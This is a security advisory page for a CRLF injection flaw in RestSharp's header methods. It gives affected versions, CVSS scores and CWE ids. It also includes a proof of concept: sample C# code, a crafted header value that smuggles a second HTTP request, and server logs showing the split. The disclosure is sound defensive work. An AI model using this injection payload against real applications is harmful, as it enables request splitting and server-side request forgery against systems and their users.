GHSA-4rr6-2v9v-wcpc

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Source
https://github.com/advisories/GHSA-4rr6-2v9v-wcpc
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-4rr6-2v9v-wcpc/GHSA-4rr6-2v9v-wcpc.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-4rr6-2v9v-wcpc
Aliases
Published
2024-08-29T19:30:51Z
Modified
2024-10-01T22:03:36.597810Z
Severity
  • 6.1 (Medium) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H CVSS Calculator
  • 5.7 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
CRLF Injection in RestSharp's `RestRequest.AddHeader` method
Details

Summary

The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.

This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:

```c# using RestSharp;

class Program { static async Task Main(string[] args) { // Usage: dotnet run <api key> var key = args[0]; var options = new RestClientOptions("http://insert.some.site.here"); var client = new RestClient(options); var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key); var response = await client.ExecuteAsync(request); Console.WriteLine($"Status: {response.StatusCode}"); Console.WriteLine($"Response: {response.Content}"); } }


This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

```bash
anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: &lt;api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"

Impact

If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.

Database specific 
{
    "nvd_published_at": "2024-08-29T22:15:05Z",
    "cwe_ids": [
        "CWE-113",
        "CWE-74",
        "CWE-93"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-29T19:30:51Z"
}
References

Affected packages

NuGet / RestSharp

Package

Name
RestSharp
View open source insights on deps.dev
Purl
pkg:nuget/RestSharp

Affected ranges

Type
ECOSYSTEM
Events
Introduced
107.0.0-preview.1
Fixed
112.0.0

Affected versions

107.*

107.0.0
107.0.1
107.0.2
107.0.3
107.1.0
107.1.1
107.1.2
107.2.0
107.2.1
107.3.0

108.*

108.0.0
108.0.1
108.0.2
108.0.3
108.0.4

109.*

109.0.0
109.0.1

110.*

110.0.0
110.1.0
110.2.0

111.*

111.0.0
111.1.0
111.2.0
111.3.0
111.4.0
111.4.1